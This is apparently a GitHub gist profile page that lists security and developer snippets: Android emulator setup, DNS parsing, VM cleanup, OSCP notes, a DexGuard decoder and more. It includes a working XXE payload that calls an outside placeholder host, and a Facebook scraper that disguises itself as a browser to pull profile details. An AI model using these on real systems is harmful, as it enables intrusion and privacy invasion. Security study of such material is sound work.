Skip to content

Instantly share code, notes, and snippets.

View Chan9390's full-sized avatar

Chandrapal Badshah Chan9390

View GitHub Profile
@Chan9390
Chan9390 / genymotionwithplay.txt
Created January 12, 2018 17:56 — forked from wbroek/genymotionwithplay.txt
Genymotion with Google Play Services for ARM
NOTE: Easier way is the X86 way, described on https://www.genymotion.com/help/desktop/faq/#google-play-services
Download the following ZIPs:
ARM Translation Installer v1.1 (http://www.mirrorcreator.com/files/0ZIO8PME/Genymotion-ARM-Translation_v1.1.zip_links)
Download the correct GApps for your Android version:
Google Apps for Android 6.0 (https://www.androidfilehost.com/?fid=24052804347835438 - benzo-gapps-M-20151011-signed-chroma-r3.zip)
Google Apps for Android 5.1 (https://www.androidfilehost.com/?fid=96042739161891406 - gapps-L-4-21-15.zip)
Google Apps for Android 5.0 (https://www.androidfilehost.com/?fid=95784891001614559 - gapps-lp-20141109-signed.zip)
@Chan9390
Chan9390 / masscan_parser.py
Last active August 2, 2020 12:45
Python snippet to parse massDNS results
import socket
with open('file.txt', 'r') as f:
t = f.read().split('\n')
for a in range(0, len(t)):
if t[a] != '':
try:
temp = t[a].split(' ')[0][:-1]
ip = socket.gethostbyname(temp)
print temp + ' ' + ip
@Chan9390
Chan9390 / purge.sh
Created August 14, 2017 09:00 — forked from adrienbrault/purge.sh
Script to reduce VM size before packaging for vagrant
#!/bin/sh
# Credits to:
# - http://vstone.eu/reducing-vagrant-box-size/
# - https://github.com/mitchellh/vagrant/issues/343
aptitude -y purge ri
aptitude -y purge installation-report landscape-common wireless-tools wpasupplicant ubuntu-serverguide
aptitude -y purge python-dbus libnl1 python-smartpm python-twisted-core libiw30
aptitude -y purge python-twisted-bin libdbus-glib-1-2 python-pexpect python-pycurl python-serial python-gobject python-pam python-openssl libffi5
@Chan9390
Chan9390 / XXE_payloads
Created August 7, 2017 09:31 — forked from staaldraad/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
import requests
from bs4 import BeautifulSoup as bs
profile = "https://www.facebook.com/<profile_name>"
r = requests.get(profile, headers=headers)
soup = bs(r.text, "lxml")
m = soup.find("img", {"class":"profilePic img"})
info = m.get('alt')
print info
@Chan9390
Chan9390 / fb_osint.py
Created May 20, 2017 13:56
OSINT using Facebook alt text
import requests
from bs4 import BeautifulSoup as bs
profile = "https://www.facebook.com/<profile_name>"
headers = {
'accept':'*/*',
'accept-language':'en-US,en;q=0.8',
'User-Agent': 'Put any authentic header here. If not, facebook can understand this is bot script and the details will be striped',
'referer':profile
@Chan9390
Chan9390 / expecting.md
Created May 19, 2017 09:40 — forked from ksafranski/expecting.md
Basic principles of using tcl-expect scripts

Intro

TCL-Expect scripts are an amazingly easy way to script out laborious tasks in the shell when you need to be interactive with the console. Think of them as a "macro" or way to programmaticly step through a process you would run by hand. They are similar to shell scripts but utilize the .tcl extension and a different #! call.

Setup Your Script

The first step, similar to writing a bash script, is to tell the script what it's executing under. For expect we use the following:

#!/usr/bin/expect

How to pass the OSCP

  1. Recon
  2. Find vuln
  3. Exploit
  4. Document it

Recon

Unicornscans in cli, nmap in msfconsole to help store loot in database.

@Chan9390
Chan9390 / DexGuardDecoder.java
Created April 10, 2017 07:28 — forked from AKosterin/DexGuardDecoder.java
New Dexguard String decoder for JEB 1.5. Tested on GFE 3.1.3. This release auto parse decoder function.
import jeb.api.IScript;
import jeb.api.JebInstance;
import jeb.api.ast.*;
import jeb.api.ast.Class;
import jeb.api.dex.*;
import jeb.api.ui.JavaView;
import jeb.api.ui.View;
import java.util.Arrays;
import java.util.HashMap;